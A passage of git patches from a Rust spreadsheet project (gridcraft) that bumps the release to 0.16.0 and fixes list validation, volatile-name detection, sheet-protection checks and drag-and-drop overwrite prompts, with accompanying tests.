+52,8 @@ pub(super) fn x14_cfvo(v: &CfValueKind) -> String { format!("{}", esc(&val)) } +/// One `cfRule` element. The formulas generated for text, blank, error and date rules refer to the +/// top-left cell of all the rule's areas, the cell Excel reads relative references from. pub(super) fn cf_rule_xml(cf: &CondFormat, priority: u32, out: &mut Out) -> String { let tl = RangeRef::top_left(&cf.ranges).map(|c| c.a1()).unwrap_or_else(|| "A1".into()); let stop = if cf.stop_if_true { " stopIfTrue=\"1\"" } else { "" }; From 85e51e009c24fad47575f04d3c08f12342615d82 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Mon, 2 Nov 2026 19:25:34 -0500 Subject: [PATCH 070/167] Release 0.16.0 Co-Authored-By: Claude Opus 5.5 --- Cargo.lock | 34 +++++++++++++++++----------------- Cargo.toml | 2 +- 2 files changed, 18 insertions(+), 18 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 93356b73c..20dcf28ab 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1969,7 +1969,7 @@ dependencies = [ [[package]] name = "gridcraft" -version = "0.15.0" +version = "0.16.0" dependencies = [ "arboard", "chrono", @@ -1996,7 +1996,7 @@ dependencies = [ [[package]] name = "gridcraft-calc" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -2008,7 +2008,7 @@ dependencies = [ [[package]] name = "gridcraft-chart" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-calc", "gridcraft-core", @@ -2019,7 +2019,7 @@ dependencies = [ [[package]] name = "gridcraft-cli" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-engine", "gridcraft-mcp", @@ -2031,7 +2031,7 @@ dependencies = [ [[package]] name = "gridcraft-core" -version = "0.15.0" +version = "0.16.0" dependencies = [ "chrono", "js-sys", @@ -2042,7 +2042,7 @@ dependencies = [ [[package]] name = "gridcraft-engine" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-calc", "gridcraft-chart", @@ -2065,7 +2065,7 @@ dependencies = [ [[package]] name = "gridcraft-formula" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-core", "serde", @@ -2074,7 +2074,7 @@ dependencies = [ [[package]] name = "gridcraft-functions" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-core", "regex", @@ -2082,7 +2082,7 @@ dependencies = [ [[package]] name = "gridcraft-math" -version = "0.15.0" +version = "0.16.0" dependencies = [ "ratex-font", "ratex-layout", @@ -2092,7 +2092,7 @@ dependencies = [ [[package]] name = "gridcraft-mcp" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-engine", "log", @@ -2101,7 +2101,7 @@ dependencies = [ [[package]] name = "gridcraft-model" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -2114,18 +2114,18 @@ dependencies = [ [[package]] name = "gridcraft-numfmt" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-core", ] [[package]] name = "gridcraft-pdf" -version = "0.15.0" +version = "0.16.0" [[package]] name = "gridcraft-ui-egui" -version = "0.15.0" +version = "0.16.0" dependencies = [ "craft-ui", "craft-update", @@ -2150,7 +2150,7 @@ dependencies = [ [[package]] name = "gridcraft-web" -version = "0.15.0" +version = "0.16.0" dependencies = [ "eframe", "egui", @@ -2167,7 +2167,7 @@ dependencies = [ [[package]] name = "gridcraft-xlsx" -version = "0.15.0" +version = "0.16.0" dependencies = [ "aes", "gridcraft-core", @@ -6618,7 +6618,7 @@ checksum = "e450f9b2ed1dff33c94c12589a87338689467b9c4f5d8a5710bd09a847d2c8a7" [[package]] name = "xtask" -version = "0.15.0" +version = "0.16.0" dependencies = [ "gridcraft-engine", "serde_json", diff --git a/Cargo.toml b/Cargo.toml index 8aa7ec8e7..594b29273 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ members = ["crates/*", "apps/*", "xtask"] default-members = ["crates/*", "apps/gridcraft", "apps/gridcraft-cli", "xtask"] [workspace.package] -version = "0.15.0" +version = "0.16.0" edition = "2024" license = "MIT OR Apache-2.0" rust-version = "1.95" From 179664610c628dbf8236dd9defe47aca33b0153c Mon Sep 17 00:00:00 2001 From: ljkx <177671075+ljkx@users.noreply.github.com> Date: Tue, 3 Nov 2026 03:23:48 +0100 Subject: [PATCH 071/167] Read relative list validation sources from the cell being checked A list source such as =$B1:$B2 is written for the rule's top-left cell. list_items evaluated it there for every cell, so the dropdown and the check showed and accepted the top-left cell's items everywhere. It now takes the cell and shifts the source to it, as Excel does. --- crates/engine/src/cmd/data/tests.rs | 19 +++++++++++++++++++ crates/engine/src/cmd/data/validation.rs | 12 +++++++----- crates/ui-egui/src/grid/editor.rs | 2 +- 3 files changed, 27 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/data/tests.rs b/crates/engine/src/cmd/data/tests.rs index 5b848e5c0..3bca70a87 100644 --- a/crates/engine/src/cmd/data/tests.rs +++ b/crates/engine/src/cmd/data/tests.rs @@ -480,6 +480,25 @@ fn a_list_typed_without_quotes_is_saved_as_a_quoted_list() { assert_eq!(sheet_xml(&reopened), xml, "a second save writes the same rules"); } +#[test] +fn a_relative_list_source_is_read_from_the_cell_being_checked() { + // As in Excel, `=$B1:$B2` on A3:A4,A1:A2 is written for A1 (the top-left cell of all the + // areas) and lists B4:B5 at A4. It used to list B1:B2 in every cell. + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "B1:B5", "values": [["a"], ["b"], ["c"], ["d"], ["e"]]})).unwrap(); + s.execute("data.validation", json!({"range": "A3:A4,A1:A2", "type": "list", "formula1": "=$B1:$B2"})).unwrap(); + let wb = s.doc().unwrap().wb.clone(); + let dv = wb.active().unwrap().validations[0].clone(); + for (cell, items) in [("A1", ["a", "b"]), ("A2", ["b", "c"]), ("A3", ["c", "d"]), ("A4", ["d", "e"])] { + let at = CellRef::parse(cell).unwrap(); + assert_eq!(list_items(&wb, 0, at, &dv), items, "{cell}"); + for v in ["a", "b", "c", "d", "e"] { + assert_eq!(check_validation(&wb, 0, at, v).is_none(), items.contains(&v), "{cell} with {v}"); + } + } +} + #[test] fn a_rule_with_an_unknown_type_operator_or_error_style_is_refused() { // A typo used to give a rule that validates nothing (`type="none"`) or the wrong check, diff --git a/crates/engine/src/cmd/data/validation.rs b/crates/engine/src/cmd/data/validation.rs index 58c445225..71b3b2190 100644 --- a/crates/engine/src/cmd/data/validation.rs +++ b/crates/engine/src/cmd/data/validation.rs @@ -152,8 +152,10 @@ fn list_source(f: &str) -> String { format!("\"{}\"", t.replace('"', "\"\"")) } -/// List entries of a list validation (literal or from a range). -pub fn list_items(wb: &Workbook, sheet: usize, dv: &Validation) -> Vec { +/// List entries of a list validation (literal or from a range) for the cell `at`. A relative +/// source is written for the rule's top-left cell and read from `at`, as in Excel (`=$B1:$B3` on +/// A1:A9 lists B5:B7 at A5). +pub fn list_items(wb: &Workbook, sheet: usize, at: CellRef, dv: &Validation) -> Vec { let f = dv.f1.trim(); if is_literal_list(f) { // A quoted list is a string literal: `""` inside stands for one `"`. @@ -163,8 +165,8 @@ pub fn list_items(wb: &Workbook, sheet: usize, dv: &Validation) -> Vec { }; return items.split(',').map(|x| x.trim().to_string()).filter(|x| !x.is_empty()).collect(); } - let at = RangeRef::top_left(&dv.ranges).unwrap_or_default(); - match gridcraft_calc::evaluate(wb, sheet, at, f) { + let first = RangeRef::top_left(&dv.ranges).unwrap_or(at); + match gridcraft_calc::evaluate(wb, sheet, at, &formula_at(f, first, at)) { Value::Array(a) => a.data.iter().filter(|v| !v.is_empty()).map(Value::display).collect(), v if !v.is_empty() && !v.is_error() => vec![v.display()], _ => vec![], @@ -200,7 +202,7 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) - let eval = |f: &str| gridcraft_calc::evaluate(wb, sheet, at, &formula_at(f, first, at)); let num = |f: &str| eval(f).to_number().ok(); let ok = match dv.kind { - ValidationKind::List => list_items(wb, sheet, dv).iter().any(|x| x.eq_ignore_ascii_case(input)), + ValidationKind::List => list_items(wb, sheet, at, dv).iter().any(|x| x.eq_ignore_ascii_case(input)), ValidationKind::Custom => eval(&dv.f1).to_bool().unwrap_or(false), ValidationKind::TextLength => { let n = input.chars().count() as f64; diff --git a/crates/ui-egui/src/grid/editor.rs b/crates/ui-egui/src/grid/editor.rs index 59f375e80..72b7cc7bb 100644 --- a/crates/ui-egui/src/grid/editor.rs +++ b/crates/ui-egui/src/grid/editor.rs @@ -125,7 +125,7 @@ pub(super) fn list_picker(app: &mut SheetApp, ui: &mut egui::Ui, geo: &Geo, was_ app.grid.list_picker = None; return; }; - let items = gridcraft_engine::cmd::data::list_items(&wb, si, &dv); + let items = gridcraft_engine::cmd::data::list_items(&wb, si, c, &dv); let r = geo.cell_rect(sh, c); // Fit the popup to its rows (up to LIST_PICKER_MAX_ROWS); without a minimum the scroll area collapses to its 64 px default. let height = list_picker_height(items.len(), LIST_PICKER_ROW_H, ui.spacing().item_spacing.y); From 342f4b401d0cb21bea2de64c089032a8922a4bc7 Mon Sep 17 00:00:00 2001 From: ljkx <177671075+ljkx@users.noreply.github.com> Date: Tue, 3 Nov 2026 04:26:30 +0100 Subject: [PATCH 072/167] Check list validation against the list before the entry A source that takes in the cell being checked (=$A1:$A2 on A2:A3 is A2:A3 at A3) listed the value being typed, so any new value passed. The list is now read from the workbook as it was before the entry, as in Excel. --- crates/engine/src/cmd/data/tests.rs | 20 ++++++++++++++++++++ crates/engine/src/cmd/data/validation.rs | 5 ++++- 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/data/tests.rs b/crates/engine/src/cmd/data/tests.rs index 3bca70a87..3c2782444 100644 --- a/crates/engine/src/cmd/data/tests.rs +++ b/crates/engine/src/cmd/data/tests.rs @@ -499,6 +499,26 @@ fn a_relative_list_source_is_read_from_the_cell_being_checked() { } } +#[test] +fn a_list_source_that_takes_in_the_cell_does_not_list_the_value_being_typed() { + // `=$A1:$A2` on A2:A3 is A1:A2 at A2 and A2:A3 at A3. The list is the one before the entry, as + // in Excel; a new value used to land in its own source and pass. + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1:A2", "values": [["x"], ["y"]]})).unwrap(); + s.execute("data.validation", json!({"range": "A2:A3", "type": "list", "formula1": "=$A1:$A2"})).unwrap(); + let wb = &s.doc().unwrap().wb; + for (cell, accepted, refused) in [("A2", &["x", "y"][..], &["new"][..]), ("A3", &["y"], &["x", "new"])] { + let at = CellRef::parse(cell).unwrap(); + for v in accepted { + assert!(check_validation(wb, 0, at, v).is_none(), "{cell} refuses {v}"); + } + for v in refused { + assert!(check_validation(wb, 0, at, v).is_some(), "{cell} accepts {v}"); + } + } +} + #[test] fn a_rule_with_an_unknown_type_operator_or_error_style_is_refused() { // A typo used to give a rule that validates nothing (`type="none"`) or the wrong check, diff --git a/crates/engine/src/cmd/data/validation.rs b/crates/engine/src/cmd/data/validation.rs index 71b3b2190..2217a372a 100644 --- a/crates/engine/src/cmd/data/validation.rs +++ b/crates/engine/src/cmd/data/validation.rs @@ -187,6 +187,7 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) - // The formulas are written for the top-left cell of all the areas and see the value being entered, // as in Excel (a custom `=A1>10` on A1:A9 checks A5's new value at A5). let first = RangeRef::top_left(&dv.ranges).unwrap_or(at); + let original = wb; let entered; let wb = if sh.value(at) == v { wb @@ -202,7 +203,9 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) - let eval = |f: &str| gridcraft_calc::evaluate(wb, sheet, at, &formula_at(f, first, at)); let num = |f: &str| eval(f).to_number().ok(); let ok = match dv.kind { - ValidationKind::List => list_items(wb, sheet, at, dv).iter().any(|x| x.eq_ignore_ascii_case(input)), + // The list is the one the dropdown showed before the entry, as in Excel: a source that takes + // in the cell itself (`=$A1:$A2` on A2:A3 is A2:A3 at A3) doesn't list the value being typed. + ValidationKind::List => list_items(original, sheet, at, dv).iter().any(|x| x.eq_ignore_ascii_case(input)), ValidationKind::Custom => eval(&dv.f1).to_bool().unwrap_or(false), ValidationKind::TextLength => { let n = input.chars().count() as f64; From e8ccb5eb15726eec25ac2710dd32f98ec1df07a1 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Mon, 2 Nov 2026 23:33:31 -0500 Subject: [PATCH 073/167] check: find volatile defined names with a worklist instead of repeated passes (#3187) --- apps/gridcraft-cli/src/check/calc.rs | 41 ++++++++++++++++++++------- apps/gridcraft-cli/src/check/tests.rs | 22 ++++++++++++++ 2 files changed, 53 insertions(+), 10 deletions(-) diff --git a/apps/gridcraft-cli/src/check/calc.rs b/apps/gridcraft-cli/src/check/calc.rs index a3f33d296..8ce378071 100644 --- a/apps/gridcraft-cli/src/check/calc.rs +++ b/apps/gridcraft-cli/src/check/calc.rs @@ -31,20 +31,41 @@ fn is_volatile(e: &Expr, volatile_names: &HashSet) -> bool { } /// Upper-cased defined names whose formula is volatile, directly or through other names. +/// +/// Volatility flows backwards along name references: each name is parsed and walked once, and a +/// worklist carries volatility from a name to the names that use it. Rescanning every name until +/// nothing changes was quadratic: a file listing its names so that each pass marked only one more +/// did one full pass per name. pub(super) fn volatile_names(wb: &Workbook) -> HashSet { - let parsed: Vec<(String, Option)> = - wb.names.iter().map(|n| (n.name.to_ascii_uppercase(), gridcraft_engine::formula::parse(&n.formula).ok())).collect(); let mut set = HashSet::new(); - // Each round adds at least one name or stops, so `len + 1` rounds reach the fixed point. - for _ in 0..=parsed.len() { - let before = set.len(); - for (name, e) in &parsed { - if !set.contains(name) && e.as_ref().is_some_and(|e| is_volatile(e, &set)) { - set.insert(name.clone()); + // Upper-cased name -> the names whose formulas refer to it. + let mut users: HashMap> = HashMap::new(); + let mut queue = Vec::new(); + let none = HashSet::new(); + for n in &wb.names { + let name = n.name.to_ascii_uppercase(); + let Ok(e) = gridcraft_engine::formula::parse(&n.formula) else { continue }; + if is_volatile(&e, &none) { + if set.insert(name.clone()) { + queue.push(name.clone()); } + continue; } - if set.len() == before { - break; + let mut used = BTreeSet::new(); + e.walk(&mut |x| { + if let Expr::Name(r) = x { + used.insert(r.to_ascii_uppercase()); + } + }); + for r in used { + users.entry(r).or_default().push(name.clone()); + } + } + while let Some(v) = queue.pop() { + for user in users.remove(&v).unwrap_or_default() { + if set.insert(user.clone()) { + queue.push(user); + } } } set diff --git a/apps/gridcraft-cli/src/check/tests.rs b/apps/gridcraft-cli/src/check/tests.rs index 68c6f8fb5..57baa2198 100644 --- a/apps/gridcraft-cli/src/check/tests.rs +++ b/apps/gridcraft-cli/src/check/tests.rs @@ -178,6 +178,28 @@ fn volatile_names_propagate() { assert_eq!(check(&wb, &Options::default()).calc.volatile, 1); } +#[test] +fn volatile_names_propagate_through_a_long_chain_in_one_walk() { + // Chain0 uses Chain1, Chain1 uses Chain2, ... and only the last is volatile: listed in this order, a rescan + // until nothing changes marked one name per pass (quadratic). Every name in the chain is + // volatile; a name off the chain is not. + const LEN: usize = 5_000; + let mut wb = book(&[("A1", "=1", n(1.0))]); + let name = + |name: String, formula: String| gridcraft_engine::model::DefinedName { name, scope: None, formula, comment: String::new(), hidden: false }; + for i in 0..LEN { + let formula = if i + 1 == LEN { "NOW()".to_string() } else { format!("Chain{}+1", i + 1) }; + wb.names.push(name(format!("Chain{i}"), formula)); + } + wb.names.push(name("Plain".into(), "Chain0*0+Other".into())); + wb.names.push(name("Other".into(), "1".into())); + let set = volatile_names(&wb); + assert!((0..LEN).all(|i| set.contains(&format!("CHAIN{i}")))); + assert!(set.contains("PLAIN")); + assert!(!set.contains("OTHER")); + assert_eq!(set.len(), LEN + 1); +} + #[test] fn round_trip_of_a_simple_book_is_clean() { let mut wb = book(&[("A1", "2", n(2.0)), ("B1", "=A1*3", n(6.0)), ("A2", "x", Value::text("x"))]); From 178f3eb745a589c63b61ef97dd7b6b2d6fd48515 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Mon, 2 Nov 2026 23:45:20 -0500 Subject: [PATCH 074/167] Protection: authorize the sheet a column move changes, and refuse edits that unlock locked cells (#3196) - sheet.moveColumns resolved its target sheet from `sheet`, or a `Sheet!` range or cell, but its two protection checks were passed only the `sheet` parameter, so a qualified range moved columns of a protected sheet while the checks authorized the active one. Both checks now get the resolved sheet index. - check_protection compared only cell content, so a sort or duplicate removal moving an unlocked cell with equal content onto a locked one left the content as it was but made the cell editable. The commit check now also refuses a change that leaves a previously locked cell unlocked (effective lock, row and column formats included). --- crates/engine/src/cmd.rs | 10 +++++++--- crates/engine/src/cmd/sheet.rs | 8 ++++---- crates/engine/src/tests.rs | 36 ++++++++++++++++++++++++++++++++++ 3 files changed, 47 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd.rs b/crates/engine/src/cmd.rs index 77fbb1d7a..1148a6b6e 100644 --- a/crates/engine/src/cmd.rs +++ b/crates/engine/src/cmd.rs @@ -459,8 +459,11 @@ pub(crate) const TOUCH_LOG_LIMIT: usize = 1_000_000; pub(crate) const PROTECTED: &str = "The cell or chart you're trying to change is on a protected sheet."; /// Refuses an edit that changed what a locked cell on a protected sheet holds (its value or -/// formula), whichever command made it. Sheets are matched by name, so moving, renaming or -/// deleting a sheet isn't an edit of its cells. +/// formula), or that unlocked it, whichever command made it. Sheets are matched by name, so +/// moving, renaming or deleting a sheet isn't an edit of its cells. A sort or duplicate removal +/// that moves an unlocked cell with equal content onto a locked one changes no content but would +/// leave the cell editable, so the effective lock (row and column formats included) is compared +/// as well. fn check_protection(old: &Workbook, new: &Workbook, unlocked: &[(String, String)]) -> Result<()> { for sh in &old.sheets { if !sh.is_protected() { @@ -471,7 +474,8 @@ fn check_protection(old: &Workbook, new: &Workbook, unlocked: &[(String, String) continue; } for c in sh.cells.diff(&after.cells) { - if !same_content(sh.cell(c), after.cell(c)) + let unlocked_now = !new.styles.get(after.style_id(c)).protection.locked; + if (unlocked_now || !same_content(sh.cell(c), after.cell(c))) && old.styles.get(sh.style_id(c)).protection.locked && let Some(m) = locked_cell_error(sh, c, unlocked) { diff --git a/crates/engine/src/cmd/sheet.rs b/crates/engine/src/cmd/sheet.rs index 69e04dae6..95a0c93f5 100644 --- a/crates/engine/src/cmd/sheet.rs +++ b/crates/engine/src/cmd/sheet.rs @@ -398,10 +398,10 @@ fn move_columns(s: &mut Session, p: &Json) -> Result { { return Err(EngineError::Other("To prevent possible loss of data, columns cannot be shifted off of the worksheet.".into())); } - // The checks must authorize the sheet this command modifies (`target_sheet`), not whatever - // sheet is active: both carry the command's own `sheet` parameter on. - check_lines_protection(s, &json!({"cols": RangeRef::cols(before, before).a1(), "sheet": p.get("sheet")}), Axis::Cols, before, count, true)?; - check_lines_protection(s, &json!({"cols": RangeRef::cols(from, end - 1).a1(), "sheet": p.get("sheet")}), Axis::Cols, from, count, false)?; + // The checks must authorize the sheet this command modifies, not whatever sheet is active: + // both get the index `target_sheet` resolved (from `sheet`, or a `Sheet!` range or cell). + check_lines_protection(s, &json!({"cols": RangeRef::cols(before, before).a1(), "sheet": sheet}), Axis::Cols, before, count, true)?; + check_lines_protection(s, &json!({"cols": RangeRef::cols(from, end - 1).a1(), "sheet": sheet}), Axis::Cols, from, count, false)?; let moved_from = if before <= from { from + count } else { from }; if moved_from.checked_add(count).is_none_or(|end| end > MAX_COLS) { diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 94a80f824..5f92718ba 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5297,6 +5297,42 @@ fn move_columns_checks_the_protection_of_the_named_sheet() { assert_eq!(v(&s, "A1"), Value::text("A")); } +#[test] +fn move_columns_checks_the_protection_of_a_sheet_named_by_its_range() { + // A `Sheet!` range or cell picks the sheet the move modifies; the protection checks must + // authorize that sheet too, not the active one. + let mut s = s(); + s.execute("home.insertSheet", json!({"name": "P"})).unwrap(); + s.execute("range.setValues", json!({"range": "A1", "values": [[1, 2, 3, 4]]})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + for key in ["range", "cell"] { + let err = s.execute("sheet.moveColumns", json!({key: "P!A1", "cols": "B:C", "before": 4})).expect_err("moving columns on a protected sheet"); + assert!(err.to_string().contains("protected"), "{err}"); + } + let d = s.doc().unwrap(); + let sh = &d.wb.sheets[d.wb.sheet_index("P").unwrap()]; + let pv: Vec = (0..4).map(|c| sh.value(CellRef::new(0, c))).collect(); + assert_eq!(pv, vec![Value::number(1.0), Value::number(2.0), Value::number(3.0), Value::number(4.0)]); +} + +#[test] +fn sorting_cannot_unlock_a_locked_cell_by_moving_equal_content_onto_it() { + // An unlocked 2 sorted onto a locked 2 leaves the content as it was, but would make the cell + // editable; the sort is refused instead. + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [[2], [2], [1]]})).unwrap(); + s.execute("home.lockCell", json!({"range": "A1", "on": false})).unwrap(); + s.execute("home.lockCell", json!({"range": "A3", "on": false})).unwrap(); + s.execute("review.protectSheet", json!({"sort": true})).unwrap(); + let before = s.doc().unwrap().wb.clone(); + let err = + s.execute("data.sort", json!({"range": "A1:A3", "header": false, "keys": [{"column": "A", "order": "asc"}]})).expect_err("sort unlocking A2"); + assert!(err.to_string().contains("protected sheet"), "{err}"); + assert_eq!(*s.doc().unwrap().wb, *before); + assert!(s.execute("cell.set", json!({"cell": "A2", "input": "9"})).is_err(), "A2 stays locked"); +} + #[test] fn a_script_cannot_switch_windows() { // Stored scripts are scoped to their workbook: a step that activates another window would From 5361e2c08a4c31f52beaf7ad0920ff0adce08993 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Mon, 2 Nov 2026 23:43:02 -0600 Subject: [PATCH 075/167] #3136: ask before a drag and drop replaces data Dragging the selection's border onto cells that hold data replaced them without asking, so dragging column B onto column A silently destroyed A. Excel asks "There's already data here. Do you want to replace it?" first (its "Alert before overwriting cells" option, on by default). The drop now runs a new `range.move {range?, to, overwrite?}` command: a cut and paste that returns a confirm question when the destination holds data other than the moved cells; the grid shows it with OK and Cancel, and OK runs it again with `overwrite: true`. A refused move leaves the sheet and the clipboard as they were. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 11 +++++++++- crates/engine/src/cmd/edit/clipboard.rs | 29 ++++++++++++++++++++++++- crates/engine/src/cmd/edit/tests.rs | 28 ++++++++++++++++++++++++ crates/ui-egui/src/grid/interact.rs | 4 ++-- crates/ui-egui/tests/it/drag_cursor.rs | 27 +++++++++++++++++++++++ docs/ui-parity.md | 5 +++-- 6 files changed, 98 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..2dfe2dbfb 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -23,7 +23,7 @@ use cell::{cell_set, range_fill, range_set_values}; pub(crate) use cell::{check_arg_counts, input_to_cell, is_formula_input, json_to_input, parse_typed_formula}; #[cfg(test)] pub(crate) use clipboard::parse_tsv; -use clipboard::{clear_clipboard, copy, cut, paste}; +use clipboard::{clear_clipboard, copy, cut, paste, range_move}; use fill::{auto_fill, fill_dir, fill_series, flash_fill}; #[cfg(test)] use find::replace_ci; @@ -81,6 +81,15 @@ pub fn specs() -> Vec { has_doc, paste ), + cmd!( + "range.move", + "Drag and Drop", + [], + None, + "{range?, to: \"C3\", overwrite?: bool} (drag the selection's border: a cut and paste that asks before replacing data unless overwrite)", + has_doc, + range_move + ), CommandSpec { shortcut_mac: Some("Ctrl+Cmd+V"), ..cmd!( diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 3a1cd0739..d416d7b12 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -1,7 +1,8 @@ use super::cell::input_to_cell; use super::paste_special::paste_special; use super::{ - Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, cell_param_on, edit, json, ok, str_param, target_ranges, target_sheet, + Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, bad, bool_param, cell_param_on, edit, json, ok, str_param, target_ranges, + target_sheet, }; // ---------------------------------------------------------------- clipboard @@ -163,6 +164,32 @@ pub(super) fn paste(s: &mut Session, p: &Json) -> Result { paste_special(s, &json!({"what": "all", "at": p.get("at").cloned().unwrap_or(Json::Null)})) } +/// Drag and drop (dragging the selection's border): moves `range` so its top-left cell lands on +/// `to`, as Cut and Paste would. Like Excel, it asks before replacing cells that hold data (other +/// than the moved cells themselves); run it again with `overwrite: true` to replace them. A +/// refused or failed move leaves the clipboard as it was. +pub(super) fn range_move(s: &mut Session, p: &Json) -> Result { + let sheet = target_sheet(s, p)?; + let to = cell_param_on(s, p, "to", sheet)?.ok_or_else(|| bad("range.move", "missing `to`"))?; + let kept = s.clipboard.take(); + let moved = cut(s, p).and_then(|_| { + let src = s.clipboard.as_ref().map(|c| c.range).unwrap_or_default(); + let dest = to.offset(i64::from(src.height()) - 1, i64::from(src.width()) - 1).map(|end| RangeRef::new(to, end)); + if bool_param(p, "overwrite") != Some(true) + && let Some(dest) = dest + && let Some(sh) = s.doc()?.wb.sheet(sheet) + && sh.cells.iter_range(dest).any(|(c, cell)| !src.contains(c) && cell.has_content()) + { + return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into())); + } + paste(s, &json!({"at": to.a1()})) + }); + if moved.is_err() { + s.clipboard = kept; + } + moved +} + fn paste_text(s: &mut Session, p: &Json, text: &str) -> Result { let sheet = target_sheet(s, p)?; let at = cell_param_on(s, p, "at", sheet)?.unwrap_or(s.doc()?.selection.current().start); diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..232a9955a 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -353,6 +353,34 @@ fn cut_paste_that_overflows_the_grid_moves_nothing() { assert_eq!(get(&mut s, "XFD2")["value"], json!(2.0)); } +#[test] +fn drag_and_drop_asks_before_replacing_data() { + // #3136: dragging column B's border onto column A replaced A without asking. + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1:B3", "values": [["Apple", "Kiwi"], ["Pear", "Plum"], ["Fig", "Lime"]]})).unwrap(); + s.execute("edit.copy", json!({"range": "D9"})).unwrap(); + let text = |s: &mut Session, a: &str| s.execute("cell.get", json!({"cell": a})).unwrap()["input"].clone(); + let r = s.execute("range.move", json!({"range": "B:B", "to": "A1"})); + let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") }; + assert_eq!(q, "There's already data here. Do you want to replace it?"); + // Nothing moved, and the copy made before is still on the clipboard. + assert_eq!(text(&mut s, "A1"), json!("Apple")); + assert_eq!(text(&mut s, "B1"), json!("Kiwi")); + assert!(s.clipboard.as_ref().is_some_and(|c| !c.cut && c.range.a1() == "D9")); + // Confirmed, column B replaces column A. + s.execute("range.move", json!({"range": "B:B", "to": "A1", "overwrite": true})).unwrap(); + assert_eq!(text(&mut s, "A1"), json!("Kiwi")); + assert_eq!(text(&mut s, "A3"), json!("Lime")); + assert_eq!(text(&mut s, "B1"), json!("")); + // Onto empty cells, or overlapping only the moved cells themselves, nothing is asked. + s.execute("range.move", json!({"range": "A1:A3", "to": "A2"})).unwrap(); + assert_eq!(text(&mut s, "A4"), json!("Lime")); + s.execute("range.move", json!({"range": "A2:A4", "to": "C2"})).unwrap(); + assert_eq!(text(&mut s, "C2"), json!("Kiwi")); + assert!(s.execute("range.move", json!({"range": "C2"})).is_err(), "`to` is required"); +} + #[test] fn replace_case_insensitive() { assert_eq!(replace_ci("Apple apple APPLE", "apple", "pear"), "pear pear pear"); diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..87f5d582b 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -719,9 +719,9 @@ fn handle_release(app: &mut SheetApp, input: &InteractionInput<'_>) { } Drag::Move { to: Some(to), .. } => { let src = sel.current(); + // Dropping on cells that hold data asks first, as in Excel. if to != src.start { - let _ = app.session.run("edit.cut", json!({"range": src.a1()})); - let _ = app.run("edit.paste", json!({"at": to.a1()})); + crate::macro_ui::call(app, "GridCraft", "range.move", json!({"range": src.a1(), "to": to.a1()})); } } Drag::MoveCols { source, before: Some(before) } => { diff --git a/crates/ui-egui/tests/it/drag_cursor.rs b/crates/ui-egui/tests/it/drag_cursor.rs index 1b2134564..667b552bb 100644 --- a/crates/ui-egui/tests/it/drag_cursor.rs +++ b/crates/ui-egui/tests/it/drag_cursor.rs @@ -172,6 +172,33 @@ fn moving_a_selection_keeps_move_and_still_moves_cells() { assert_eq!(sh.value(CellRef::parse("E5").unwrap()), Value::Number(2.0)); } +#[test] +fn moving_a_selection_onto_data_asks_before_replacing_it() { + // #3136: the drop replaced the cells there without asking. + let mut h = harness(); + h.state_mut().session.execute("selection.set", json!({"range": "A2:B2"})).unwrap(); + h.run_steps(2); + let r = selection_rect(&h); + press(&mut h, pos2(r.left() + 10.0, r.top() + 1.0)); + let target = cell(&h, "A1").center(); + move_with_cursor(&mut h, target, CursorIcon::Move); + button(&mut h, target, false); + h.run_steps(1); + let q = h.state().macros.question.clone().expect("a question before replacing A1:B1"); + assert_eq!(q.text, "There's already data here. Do you want to replace it?"); + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + 